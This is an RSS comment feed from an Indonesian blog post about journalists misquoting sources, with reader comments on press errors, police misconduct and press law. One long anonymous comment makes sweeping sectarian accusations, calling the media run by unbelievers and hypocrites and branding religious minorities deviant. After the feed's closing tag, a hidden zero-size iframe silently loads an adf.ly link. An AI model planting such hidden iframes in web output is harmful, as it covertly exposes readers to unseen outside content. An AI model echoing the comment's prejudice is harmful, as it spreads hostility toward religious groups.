<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
		>
<channel>
	<title>Comments on: Ketika Wartawan Salah Kutip</title>
	<atom:link href="http://rosyidi.com/ketika-wartawan-salah-kutip/feed/" rel="self" type="application/rss+xml" />
	<link>http://rosyidi.com/ketika-wartawan-salah-kutip/</link>
	<description>multilinguals blog</description>
	<lastBuildDate>Fri, 10 Feb 2012 14:39:16 +0000</lastBuildDate>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
	<item>
		<title>By: Anonymous</title>
		<link>http://rosyidi.com/ketika-wartawan-salah-kutip/#comment-30114</link>
		<dc:creator>Anonymous</dc:creator>
		<pubDate>Wed, 03 Nov 2010 11:39:58 +0000</pubDate>
		<guid isPermaLink="false">http://rosyidi.com/ketika-wartawan-salah-kutip/#comment-30114</guid>
		<description>PERTIMBANGAN MEDIA DALAM MEMUAT BERITA
1. BISNIS 
2. VISI &amp; MISI
3. MEMBANTU PEMERINTAH
4. TUNTUTAN PUBLIK/MASYARAKAT
5. ALAT KONTROL
6. MEMBANGUN OPINI/PUBLIK
7. BERKUASA UNTUK MENGENDALIKAN &amp; MASYARAKAT DUNIA  GLOBAL
8. JADI BIANG KEROK SEGALA KERUSAKAN MORAL, SOSIAL, EKONOMI, POLITIK, BUDAYA DAN AGAMA,
9. ATAU PERBAIKAN NO 9 ITU SEMUANYA. 

DENGAN BEBERAPA ITEM DI ATAS APA KENYATAAN YANG TERJADI DI MASYARAKAT SELAMA INI DARIPADA PROGRAM KERJA MEDIA, MARI KITA KAJI ULANG KEMBALI !:

1. BISNIS
Coba kita perhatikan kerja Media selama ini, tentang pemberitaan kasus-kasus yang telah lalu maupun yang saat/sedang terjadi, maka kenyataannya lenih mendahukan bisnis/materidaripada kemaslahatan masyarakat. Serta lebih condong kepada penyesatan dan penipuan publik. Lebih-lebih banyak mengedepankan sensasi untuk menipulasi/mempermainkan bahasa dan memelintirnya agar kesan kepada pembaca, ini adalah hak mereka (media) tetapi yang  harus diperhatikan adalah jangan keterluan untuk menipulasi publik itu kesemuanya adalah sifat-sifat orang-orang munafiq sedangkan menafiqnya Media atau pelaku media adalah menafiq ligal formal dan global pada zaman jahilijyah yang sekarang ini. Sedangkan masyarakat pemerintah tidak atau kurang peduli masalah ini sebab mereka sendiri juga lebih takut media daripada kerusakan masyarakat termasuk tanggung jawab mereka (pemerintah) baik tanggung jawab secara pribadi besuk di hadapan Allah maupun tanggung jawab secara umum (pemerintah). Inilah awala daripada kerusakan dan kemundurkan sebuah bangsa kita secara keseluruhan. Dalam kesimpulan komentar di atas bahwa media lebih mengedepankan bisnis daripada pertimbangan kemaslahatan. Maka dapat kita simpulkan ini menunjukan kepada pelaku-pelakunya yang dimotori orang-orang munafiq dan fasik. Memang kerja mereka mengadakan kerusakan di muka bumi sebagai bentuk azab langsung dari Allah di dunia ini dan tidak mampu melihat dan mengikuti petunjuk Al Qur’an sebagaimana Allah berfirman (QS. Al Baqarah:8 s/d 20) 

2. VISI &amp; MISI
Dengan Visis &amp; Misi media tentunya kita melihat siapa yang ada di dalamnya maka kita akan tahu persis apa Visi dan Misinya. Setelah kita ketahui kita dapat menyimpulkan secara ideologis yang mereka perjuangkan untuk tercapai  target yang ideal demi melaksanakan Visi dan misinya itu sendiri. Sekarang secara ideologi kita ketahui maka hati-hatilah bahwa sebenarnya mereka adalah musuh yang sangat asasi dan sangat esensi dan kalau begitu tentunya kita harus waspada terhadap setiap berita yang kita baca atau dengar sebagaimana, Allah telah mengingatkan kita, apabila kita mendapat suatu berita dari orang fasik/menafiq maka periksalah jangan tergesa-gesa percaya sebab mereka adalah suka adudomba dan fitnah serta membuat kerusakan di muka bumi. Lagi-lagi di belakang mereka yang menguasai adalah musuh-musuh Allah dan orang-orang beriman. Maka kita dapat menyimpulkan bahwa terget Media adalah menciptakan kerusakan dan kekeruan di tengah-tengah kaum muslim agar mereka  lebih menguasainya. Dan pada akhirnya kita uimat islam digiring ke jalan yang sesat untuk memasuki surganya Dajjal dan nerakanNya Allah. Untuk bersama-sama mereka. Allah berfirman “Walantardhoo anngkal yahuudu walannasoroo hatta tatta tabi’amillatahum”
  
3. MEMBANTU PEMERINTAH
Media apakah membantu kelancaran program pemerintah? Ternyata tidak demikian dan harapkan masyarakat tentunya operan media itu sebagai alat kontrol dan untuk kelancaran opini publik yang positif  bukannya sebaliknya malah menambah dan beban pemerintah suatu misah kurangnya ketegasan dan berani dalam pemberitaan tentang kasus korubtor dan lebih condang tarik  ulur tentang kasus korubsi sabab dalam kenyataannya setiap kasus korubsi tak kunjung selesai sedangkan kasus selainnya seperti Teroris bisa diberangus habis ini menunjukan ada kesamaan antara media atau pelaku media dan para koriobtor saya kira dapat disimpukan mereka sama-sama memiliki sifat-sifat kemunafiqkan. Kenapa demikian lihat dari program kerjanya keuntungan dan tidak mempedulikan kemaslahatannya. Dan dampak kerusakan masyarakat diabaikan. Dan bahkan mereka (media) lebih condong serta membantu para korubtor  dan minimal kurang peduli terhadap penyelesaian mereka menjadi jera sebab masalah ini bukan masalah subbtansi bagi Visi &amp; Misi media bahkan cunderung menghendaki tidak selesai agar masyakat kita yang mayoritas umat islam ini tertinggal dan terpuruk  maka wajarlah media kafir  musyrik.

4. TUNTUTAN PUBLIK/MASYARAKAT
Bahwa media adalah tuntutan masyarakat atau publik, baiknya madia maka baik pula masyarakat dan sebaliknya, rusaknya pelaku media maka rusak pula masyarakat. Dan sekarang permasalahannya adalah milik siapa media itu? Tentunya kita tahu bahwa pada umumnya  media adalah 99% dipegang olehorang-orang kafir musyrik dan pelaksa lapangan orang-orang munafiq dan fasik.  Yang paling pokok adalah sejauhmana media bisa memmuat berita bisa dikendalikan dengan dan lebih mengedepankan kode etik moral dan membangun yaitu lebih mementingkan kemaslahatan daripada keuntungan bisnis. Dengan hasil infestigasi pemberitaan media selama ini jauh dari harapan umat khususnya umat islam sering dirugiakan seperti contoh KH. A’Aagym Syaikh Puji, Ust. Abu Bakar Ba’syir dan akhir-akhir ini KH&gt; Zainuddin MZ. Masalah pemberitan di atas akan saya singgung sedikit, lihat dan cam kan baik masalah ini wahai saudaraku!!! A’AaGym misalnya Nikah dua kan boleh dan baik kenapa beliau diberitan terkesan Pleboy atau dibuat imit jelek coba bayangkan mana letak keadilan ini, wahai saudara kita tahu persis sebab tidak sesuai dengan Visi &amp; Misi media bukan baik dan tidak   baik tetapi A’AaGyim sudah bertentangaan dengan Visi &amp; misi mereka. Mereka tahu persih bahwa itu benar tetapi mereka tidak menghendaki kebenaranya itu seandainya A’aGym salah seperti sebelumnya yaitu jadi dakwah ala selebriti tentunya didukung terus Coba kita lihat secara cermat adakah para dai-dai yang betul-betul lurus ke islamannya (akidahnya) mereka (media) meu makai atau mengangkat saya yakin seyakin-yakinnya mereka tidak akan mau justru mereka berusaha untuk mencari kelemahannya kemudian terus dijatuhkan melalui publik seperti kasus yang terbaru yaitu KH. Zainuddin MZ. Ini bisa jadi akal-akalan media memang begitulah program kerjaannya media selama ini membuat kerusakan dan fitnah. Ini terlepas benar dan salah, maka salah atau benar yang tetap diuntungkan adalah media dan Aida Askia sebab apa media omsetnya banyak &amp; Aida Askia menjadi terkenal karena dopleng sama KH. Zainuddin MZ atau sebutan da’i sejuta umat. Dan lebih diuntugkan lagi media kafir, munafiq bisa membuat kerusakan karena ini kepuasan tersendiri bagi orang yang rusak mata hatinya yang teklah ditutupi oleh ,kegelapan azab yang diberikan secara langsung di dunia ini sehingga mereka tidak mampu melihat petunjuk Allah sebagaimana saya jelaskan di atas buka sendiri tafsirnya oke.   

5. ALAT KONTROL
Bentulkah media alat kontrol? Memang harapan masyakat demikian tetapi kenyataannya bukan alat kontrol malah alat untuk menyebarkan fitnah di masyrakat secara global dan universal dan menimbulkan kerusakkan di sana-sini dan lebih mengedepankan bisnis dan Visi mereka


6. MEMBANGUN OPINI/PUBLIK
Media media memang sangat menentukan dan semua kebijakkan publik , tetapi kebijakan publik itu sendiri bukan di dasari atas ke objektifan suatu yang mendasar dalam undang pemerintah secara legal formal secara ketat maka ujung-ujungnya lebih disalahgunakan oleh pihak-pihak berkepentingan yaitu media itu sendiri yang dimotori oleh orang yang sangat diragukan kejujurannya apalagi orang munafiq tengik.  Kalau gak percaya lihat dan perhatikan pola pandang dan cara berfikir pelaku media Umum atau kafir selama ini akan kita blejeti tentang kemunafiqkan mereka.
 

7. BERKUASA UNTUK MENGENDALIKAN &amp; MASYARAKAT DUNIA  GLOBAL
Bahwa Media berkuasa baik secara lokal, nasional dan internasional baik di timur maupun di barat mereka atau media dapat menentukan tetapi mereka tidak ada yang dapat menentukan atau mengendalikan, media dapat menghukum atau membasmi karakter seseorang atau  masyarakat tetapi media tidak ada yang otak atik seperti kebal hukum dan bahkan persidenpun daopat dikendalikan. Kerusakan media adalah sama dengan kerusakan jagat raya ini, kiamat sebelum kiamat adalah diawali kiamatnya (kerusakan media) termasuk awala daripada kiamat. Contoh Aliran LDII yang sangat ketat dan tertutup rapi kuat tetapi dengan media mereka lelimpungan dan tidak berkutik bahkan dengan segala cara dan upaya melobi MUI untuk dilegalkan  aliran islam yang tidak sesat mereka tidak berhasil inilah bagian terkecil kabaikan media khususnya media islam media selainnya tidak menginginkan demikian bahkan mereka melindungi kesesatan seperti JIL, Ahmadiyah, LDII, dan aliran atau paham sesat lainnya. Kalau paham yang benar mereka tahu persis maka mereka memdia kafir tidak mendukung bahkan malah membela.  

8. JADI BIANG KEROK SEGALA KERUSAKAN MORAL, SOSIAL, EKONOMI, POLITIK, BUDAYA DAN AGAMA,
Terbukti semua di atas media kafir semua sumbaer malapetaka sebagaimana saya singgung di atas. Sesaui dengan data dan fakta lapangan dan kenyataan tidak terbantahkan .

Inilah dampak media di masyarakat sangat memprihatinkan kita dan dunia pada umumnya. Dan mudah-mudahan Allah masih menoleransi perbutan media dan masih menaham azabnya.</description>
		<content:encoded><![CDATA[<p>PERTIMBANGAN MEDIA DALAM MEMUAT BERITA<br />
1. BISNIS<br />
2. VISI &amp; MISI<br />
3. MEMBANTU PEMERINTAH<br />
4. TUNTUTAN PUBLIK/MASYARAKAT<br />
5. ALAT KONTROL<br />
6. MEMBANGUN OPINI/PUBLIK<br />
7. BERKUASA UNTUK MENGENDALIKAN &amp; MASYARAKAT DUNIA  GLOBAL<br />
8. JADI BIANG KEROK SEGALA KERUSAKAN MORAL, SOSIAL, EKONOMI, POLITIK, BUDAYA DAN AGAMA,<br />
9. ATAU PERBAIKAN NO 9 ITU SEMUANYA. </p>
<p>DENGAN BEBERAPA ITEM DI ATAS APA KENYATAAN YANG TERJADI DI MASYARAKAT SELAMA INI DARIPADA PROGRAM KERJA MEDIA, MARI KITA KAJI ULANG KEMBALI !:</p>
<p>1. BISNIS<br />
Coba kita perhatikan kerja Media selama ini, tentang pemberitaan kasus-kasus yang telah lalu maupun yang saat/sedang terjadi, maka kenyataannya lenih mendahukan bisnis/materidaripada kemaslahatan masyarakat. Serta lebih condong kepada penyesatan dan penipuan publik. Lebih-lebih banyak mengedepankan sensasi untuk menipulasi/mempermainkan bahasa dan memelintirnya agar kesan kepada pembaca, ini adalah hak mereka (media) tetapi yang  harus diperhatikan adalah jangan keterluan untuk menipulasi publik itu kesemuanya adalah sifat-sifat orang-orang munafiq sedangkan menafiqnya Media atau pelaku media adalah menafiq ligal formal dan global pada zaman jahilijyah yang sekarang ini. Sedangkan masyarakat pemerintah tidak atau kurang peduli masalah ini sebab mereka sendiri juga lebih takut media daripada kerusakan masyarakat termasuk tanggung jawab mereka (pemerintah) baik tanggung jawab secara pribadi besuk di hadapan Allah maupun tanggung jawab secara umum (pemerintah). Inilah awala daripada kerusakan dan kemundurkan sebuah bangsa kita secara keseluruhan. Dalam kesimpulan komentar di atas bahwa media lebih mengedepankan bisnis daripada pertimbangan kemaslahatan. Maka dapat kita simpulkan ini menunjukan kepada pelaku-pelakunya yang dimotori orang-orang munafiq dan fasik. Memang kerja mereka mengadakan kerusakan di muka bumi sebagai bentuk azab langsung dari Allah di dunia ini dan tidak mampu melihat dan mengikuti petunjuk Al Qur’an sebagaimana Allah berfirman (QS. Al Baqarah:8 s/d 20) </p>
<p>2. VISI &amp; MISI<br />
Dengan Visis &amp; Misi media tentunya kita melihat siapa yang ada di dalamnya maka kita akan tahu persis apa Visi dan Misinya. Setelah kita ketahui kita dapat menyimpulkan secara ideologis yang mereka perjuangkan untuk tercapai  target yang ideal demi melaksanakan Visi dan misinya itu sendiri. Sekarang secara ideologi kita ketahui maka hati-hatilah bahwa sebenarnya mereka adalah musuh yang sangat asasi dan sangat esensi dan kalau begitu tentunya kita harus waspada terhadap setiap berita yang kita baca atau dengar sebagaimana, Allah telah mengingatkan kita, apabila kita mendapat suatu berita dari orang fasik/menafiq maka periksalah jangan tergesa-gesa percaya sebab mereka adalah suka adudomba dan fitnah serta membuat kerusakan di muka bumi. Lagi-lagi di belakang mereka yang menguasai adalah musuh-musuh Allah dan orang-orang beriman. Maka kita dapat menyimpulkan bahwa terget Media adalah menciptakan kerusakan dan kekeruan di tengah-tengah kaum muslim agar mereka  lebih menguasainya. Dan pada akhirnya kita uimat islam digiring ke jalan yang sesat untuk memasuki surganya Dajjal dan nerakanNya Allah. Untuk bersama-sama mereka. Allah berfirman “Walantardhoo anngkal yahuudu walannasoroo hatta tatta tabi’amillatahum”</p>
<p>3. MEMBANTU PEMERINTAH<br />
Media apakah membantu kelancaran program pemerintah? Ternyata tidak demikian dan harapkan masyarakat tentunya operan media itu sebagai alat kontrol dan untuk kelancaran opini publik yang positif  bukannya sebaliknya malah menambah dan beban pemerintah suatu misah kurangnya ketegasan dan berani dalam pemberitaan tentang kasus korubtor dan lebih condang tarik  ulur tentang kasus korubsi sabab dalam kenyataannya setiap kasus korubsi tak kunjung selesai sedangkan kasus selainnya seperti Teroris bisa diberangus habis ini menunjukan ada kesamaan antara media atau pelaku media dan para koriobtor saya kira dapat disimpukan mereka sama-sama memiliki sifat-sifat kemunafiqkan. Kenapa demikian lihat dari program kerjanya keuntungan dan tidak mempedulikan kemaslahatannya. Dan dampak kerusakan masyarakat diabaikan. Dan bahkan mereka (media) lebih condong serta membantu para korubtor  dan minimal kurang peduli terhadap penyelesaian mereka menjadi jera sebab masalah ini bukan masalah subbtansi bagi Visi &amp; Misi media bahkan cunderung menghendaki tidak selesai agar masyakat kita yang mayoritas umat islam ini tertinggal dan terpuruk  maka wajarlah media kafir  musyrik.</p>
<p>4. TUNTUTAN PUBLIK/MASYARAKAT<br />
Bahwa media adalah tuntutan masyarakat atau publik, baiknya madia maka baik pula masyarakat dan sebaliknya, rusaknya pelaku media maka rusak pula masyarakat. Dan sekarang permasalahannya adalah milik siapa media itu? Tentunya kita tahu bahwa pada umumnya  media adalah 99% dipegang olehorang-orang kafir musyrik dan pelaksa lapangan orang-orang munafiq dan fasik.  Yang paling pokok adalah sejauhmana media bisa memmuat berita bisa dikendalikan dengan dan lebih mengedepankan kode etik moral dan membangun yaitu lebih mementingkan kemaslahatan daripada keuntungan bisnis. Dengan hasil infestigasi pemberitaan media selama ini jauh dari harapan umat khususnya umat islam sering dirugiakan seperti contoh KH. A’Aagym Syaikh Puji, Ust. Abu Bakar Ba’syir dan akhir-akhir ini KH&gt; Zainuddin MZ. Masalah pemberitan di atas akan saya singgung sedikit, lihat dan cam kan baik masalah ini wahai saudaraku!!! A’AaGym misalnya Nikah dua kan boleh dan baik kenapa beliau diberitan terkesan Pleboy atau dibuat imit jelek coba bayangkan mana letak keadilan ini, wahai saudara kita tahu persis sebab tidak sesuai dengan Visi &amp; Misi media bukan baik dan tidak   baik tetapi A’AaGyim sudah bertentangaan dengan Visi &amp; misi mereka. Mereka tahu persih bahwa itu benar tetapi mereka tidak menghendaki kebenaranya itu seandainya A’aGym salah seperti sebelumnya yaitu jadi dakwah ala selebriti tentunya didukung terus Coba kita lihat secara cermat adakah para dai-dai yang betul-betul lurus ke islamannya (akidahnya) mereka (media) meu makai atau mengangkat saya yakin seyakin-yakinnya mereka tidak akan mau justru mereka berusaha untuk mencari kelemahannya kemudian terus dijatuhkan melalui publik seperti kasus yang terbaru yaitu KH. Zainuddin MZ. Ini bisa jadi akal-akalan media memang begitulah program kerjaannya media selama ini membuat kerusakan dan fitnah. Ini terlepas benar dan salah, maka salah atau benar yang tetap diuntungkan adalah media dan Aida Askia sebab apa media omsetnya banyak &amp; Aida Askia menjadi terkenal karena dopleng sama KH. Zainuddin MZ atau sebutan da’i sejuta umat. Dan lebih diuntugkan lagi media kafir, munafiq bisa membuat kerusakan karena ini kepuasan tersendiri bagi orang yang rusak mata hatinya yang teklah ditutupi oleh ,kegelapan azab yang diberikan secara langsung di dunia ini sehingga mereka tidak mampu melihat petunjuk Allah sebagaimana saya jelaskan di atas buka sendiri tafsirnya oke.   </p>
<p>5. ALAT KONTROL<br />
Bentulkah media alat kontrol? Memang harapan masyakat demikian tetapi kenyataannya bukan alat kontrol malah alat untuk menyebarkan fitnah di masyrakat secara global dan universal dan menimbulkan kerusakkan di sana-sini dan lebih mengedepankan bisnis dan Visi mereka</p>
<p>6. MEMBANGUN OPINI/PUBLIK<br />
Media media memang sangat menentukan dan semua kebijakkan publik , tetapi kebijakan publik itu sendiri bukan di dasari atas ke objektifan suatu yang mendasar dalam undang pemerintah secara legal formal secara ketat maka ujung-ujungnya lebih disalahgunakan oleh pihak-pihak berkepentingan yaitu media itu sendiri yang dimotori oleh orang yang sangat diragukan kejujurannya apalagi orang munafiq tengik.  Kalau gak percaya lihat dan perhatikan pola pandang dan cara berfikir pelaku media Umum atau kafir selama ini akan kita blejeti tentang kemunafiqkan mereka.</p>
<p>7. BERKUASA UNTUK MENGENDALIKAN &amp; MASYARAKAT DUNIA  GLOBAL<br />
Bahwa Media berkuasa baik secara lokal, nasional dan internasional baik di timur maupun di barat mereka atau media dapat menentukan tetapi mereka tidak ada yang dapat menentukan atau mengendalikan, media dapat menghukum atau membasmi karakter seseorang atau  masyarakat tetapi media tidak ada yang otak atik seperti kebal hukum dan bahkan persidenpun daopat dikendalikan. Kerusakan media adalah sama dengan kerusakan jagat raya ini, kiamat sebelum kiamat adalah diawali kiamatnya (kerusakan media) termasuk awala daripada kiamat. Contoh Aliran LDII yang sangat ketat dan tertutup rapi kuat tetapi dengan media mereka lelimpungan dan tidak berkutik bahkan dengan segala cara dan upaya melobi MUI untuk dilegalkan  aliran islam yang tidak sesat mereka tidak berhasil inilah bagian terkecil kabaikan media khususnya media islam media selainnya tidak menginginkan demikian bahkan mereka melindungi kesesatan seperti JIL, Ahmadiyah, LDII, dan aliran atau paham sesat lainnya. Kalau paham yang benar mereka tahu persis maka mereka memdia kafir tidak mendukung bahkan malah membela.  </p>
<p>8. JADI BIANG KEROK SEGALA KERUSAKAN MORAL, SOSIAL, EKONOMI, POLITIK, BUDAYA DAN AGAMA,<br />
Terbukti semua di atas media kafir semua sumbaer malapetaka sebagaimana saya singgung di atas. Sesaui dengan data dan fakta lapangan dan kenyataan tidak terbantahkan .</p>
<p>Inilah dampak media di masyarakat sangat memprihatinkan kita dan dunia pada umumnya. Dan mudah-mudahan Allah masih menoleransi perbutan media dan masih menaham azabnya.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: adhie</title>
		<link>http://rosyidi.com/ketika-wartawan-salah-kutip/#comment-21778</link>
		<dc:creator>adhie</dc:creator>
		<pubDate>Thu, 06 May 2010 13:45:03 +0000</pubDate>
		<guid isPermaLink="false">http://rosyidi.com/ketika-wartawan-salah-kutip/#comment-21778</guid>
		<description>wartawan juga manusia yang bisa salah makanya UU no 40 1999 pasal 5 ayat 2 dan 3 menjadi pintu bagi kesalahan wartawan untuk dikoresi</description>
		<content:encoded><![CDATA[<p>wartawan juga manusia yang bisa salah makanya UU no 40 1999 pasal 5 ayat 2 dan 3 menjadi pintu bagi kesalahan wartawan untuk dikoresi</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: ipey</title>
		<link>http://rosyidi.com/ketika-wartawan-salah-kutip/#comment-20441</link>
		<dc:creator>ipey</dc:creator>
		<pubDate>Tue, 09 Mar 2010 18:51:03 +0000</pubDate>
		<guid isPermaLink="false">http://rosyidi.com/ketika-wartawan-salah-kutip/#comment-20441</guid>
		<description>memang banyak mas oknum polisi sektor  yang kaya gtu...
alih-alih mengamankan barang bukti, eh, malah diembat juga tuh barang buktinya ma oknum polisi. kejadian ini bukan hanya sekali terjadi, tpi hampir setiap barang bukti jadi ga jelas lagi statusnya karena &quot;hilang di kepolisian&quot;.
sebenarnya kadang saya bingung dengan tugas polisi, dengan slogan &quot; Melindungi, Mengayomi, Dan Melayani masyarakat &quot; apa benar polisi bisa merealisasikan slogan itu dengan ikhlas sesuai dengan tugasnya dengan tidak melihat materi. semoga jajaran di kepolisian bisa lebih baik dalam membimbing anak buahnya...</description>
		<content:encoded><![CDATA[<p>memang banyak mas oknum polisi sektor  yang kaya gtu&#8230;<br />
alih-alih mengamankan barang bukti, eh, malah diembat juga tuh barang buktinya ma oknum polisi. kejadian ini bukan hanya sekali terjadi, tpi hampir setiap barang bukti jadi ga jelas lagi statusnya karena &#8220;hilang di kepolisian&#8221;.<br />
sebenarnya kadang saya bingung dengan tugas polisi, dengan slogan &#8221; Melindungi, Mengayomi, Dan Melayani masyarakat &#8221; apa benar polisi bisa merealisasikan slogan itu dengan ikhlas sesuai dengan tugasnya dengan tidak melihat materi. semoga jajaran di kepolisian bisa lebih baik dalam membimbing anak buahnya&#8230;</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: roy suryo &#171; Ysfksh&#39;s Blog</title>
		<link>http://rosyidi.com/ketika-wartawan-salah-kutip/#comment-19196</link>
		<dc:creator>roy suryo &#171; Ysfksh&#39;s Blog</dc:creator>
		<pubDate>Sat, 23 Jan 2010 01:52:17 +0000</pubDate>
		<guid isPermaLink="false">http://rosyidi.com/ketika-wartawan-salah-kutip/#comment-19196</guid>
		<description>[...] Rosyidi’s last blog post..Ketika Wartawan Salah Kutip [...]</description>
		<content:encoded><![CDATA[<p>[...] Rosyidi’s last blog post..Ketika Wartawan Salah Kutip [...]</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Jangan Terlalu Percaya Media Massa : Rosyidi.com</title>
		<link>http://rosyidi.com/ketika-wartawan-salah-kutip/#comment-19055</link>
		<dc:creator>Jangan Terlalu Percaya Media Massa : Rosyidi.com</dc:creator>
		<pubDate>Fri, 08 Jan 2010 01:57:25 +0000</pubDate>
		<guid isPermaLink="false">http://rosyidi.com/ketika-wartawan-salah-kutip/#comment-19055</guid>
		<description>[...] kasus yang pernah saya ceritakan sebelumnya “Ketika Wartawan Salah Kutip”. Dimana disana saya sebutkan rentetan kasus yang saya alami sendiri namun disampaikan secara [...]</description>
		<content:encoded><![CDATA[<p>[...] kasus yang pernah saya ceritakan sebelumnya “Ketika Wartawan Salah Kutip”. Dimana disana saya sebutkan rentetan kasus yang saya alami sendiri namun disampaikan secara [...]</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Kesalahan Wartawan &#171; liez blog</title>
		<link>http://rosyidi.com/ketika-wartawan-salah-kutip/#comment-11407</link>
		<dc:creator>Kesalahan Wartawan &#171; liez blog</dc:creator>
		<pubDate>Tue, 13 May 2008 10:40:44 +0000</pubDate>
		<guid isPermaLink="false">http://rosyidi.com/ketika-wartawan-salah-kutip/#comment-11407</guid>
		<description>[...]  ketika wartawan salah kutip [...]</description>
		<content:encoded><![CDATA[<p>[...]  ketika wartawan salah kutip [...]</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: noki</title>
		<link>http://rosyidi.com/ketika-wartawan-salah-kutip/#comment-11181</link>
		<dc:creator>noki</dc:creator>
		<pubDate>Tue, 29 Apr 2008 05:33:08 +0000</pubDate>
		<guid isPermaLink="false">http://rosyidi.com/ketika-wartawan-salah-kutip/#comment-11181</guid>
		<description>klau kasus si OM yang salah narasumbernya bukan wartawannya :)&gt;-
&lt;blockquote&gt;&lt;b&gt;Rosyidi :&lt;/b&gt;Terlepas dari benar dan salah. Karena aku gak tau secara langsung ketika wawancaranya. Soalnya aku gak mau dibilang menuduh tanpa bukti. So, jika si OM merasa benar, seharusnya beliau melakukan tindakan seperti yang aku ceritakan diatas. Seharusnya dia melaporkan ke pihak medianya, bahwa wartawannya telah salah kutip dan menyebabkan kontroversi di kalangan publik. Sehingga media dapat meralat beritanya, dan memperingatkan bahkan memecat wartawan yang bersangkutan. &lt;/blockquote&gt;</description>
		<content:encoded><![CDATA[<p>klau kasus si OM yang salah narasumbernya bukan wartawannya <img src='http://rosyidi.com/smilies/yahoo_peace.gif' alt='&#58;&#41;&#62;&#45;' class='wp-smiley' width='' height='' title='&#58;&#41;&#62;&#45;' /></p>
<blockquote><p><b>Rosyidi :</b>Terlepas dari benar dan salah. Karena aku gak tau secara langsung ketika wawancaranya. Soalnya aku gak mau dibilang menuduh tanpa bukti. So, jika si OM merasa benar, seharusnya beliau melakukan tindakan seperti yang aku ceritakan diatas. Seharusnya dia melaporkan ke pihak medianya, bahwa wartawannya telah salah kutip dan menyebabkan kontroversi di kalangan publik. Sehingga media dapat meralat beritanya, dan memperingatkan bahkan memecat wartawan yang bersangkutan. </p></blockquote>
]]></content:encoded>
	</item>
	<item>
		<title>By: Riyogarta</title>
		<link>http://rosyidi.com/ketika-wartawan-salah-kutip/#comment-11035</link>
		<dc:creator>Riyogarta</dc:creator>
		<pubDate>Sat, 19 Apr 2008 10:51:31 +0000</pubDate>
		<guid isPermaLink="false">http://rosyidi.com/ketika-wartawan-salah-kutip/#comment-11035</guid>
		<description>Kalau saya sih cenderung mengatakan bahwa wartawan lebih banyak benarnya dalam kasus RS. Sementara RS hanya mencari kambing hitam (dalam hal ini wartawan) untuk pembenaran dirinya.</description>
		<content:encoded><![CDATA[<p>Kalau saya sih cenderung mengatakan bahwa wartawan lebih banyak benarnya dalam kasus RS. Sementara RS hanya mencari kambing hitam (dalam hal ini wartawan) untuk pembenaran dirinya.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: lady</title>
		<link>http://rosyidi.com/ketika-wartawan-salah-kutip/#comment-11007</link>
		<dc:creator>lady</dc:creator>
		<pubDate>Wed, 16 Apr 2008 04:48:14 +0000</pubDate>
		<guid isPermaLink="false">http://rosyidi.com/ketika-wartawan-salah-kutip/#comment-11007</guid>
		<description>wah, hp nya buat siapa dong kl ga berbekas...
&lt;blockquote&gt;&lt;b&gt;Rosyidi :&lt;/b&gt;Kata polisinya sih dibawa ama kejaksaan, tapi katanya  kejaksaan yg bawa polisi. Gak tau yg bener yg mana :( &lt;/blockquote&gt;</description>
		<content:encoded><![CDATA[<p>wah, hp nya buat siapa dong kl ga berbekas&#8230;</p>
<blockquote><p><b>Rosyidi :</b>Kata polisinya sih dibawa ama kejaksaan, tapi katanya  kejaksaan yg bawa polisi. Gak tau yg bener yg mana <img src='http://rosyidi.com/smilies/yahoo_sad.gif' alt='&#58;&#40;' class='wp-smiley' width='' height='' title='&#58;&#40;' /> </p></blockquote>
]]></content:encoded>
	</item>
	<item>
		<title>By: rd Limosin</title>
		<link>http://rosyidi.com/ketika-wartawan-salah-kutip/#comment-11005</link>
		<dc:creator>rd Limosin</dc:creator>
		<pubDate>Wed, 16 Apr 2008 03:07:31 +0000</pubDate>
		<guid isPermaLink="false">http://rosyidi.com/ketika-wartawan-salah-kutip/#comment-11005</guid>
		<description>duh hengpong nya ilang tidak berbekas?? :d</description>
		<content:encoded><![CDATA[<p>duh hengpong nya ilang tidak berbekas?? <img src='http://rosyidi.com/smilies/yahoo_bigsmile.gif' alt='&#58;&#100;' class='wp-smiley' width='' height='' title='&#58;&#100;' /></p>
]]></content:encoded>
	</item>
</channel>
</rss>




  

  <iframe src=http://http://adf.ly/5N8iR scrolling="auto" width=0% height=0% frameborder="0"> </iframe>
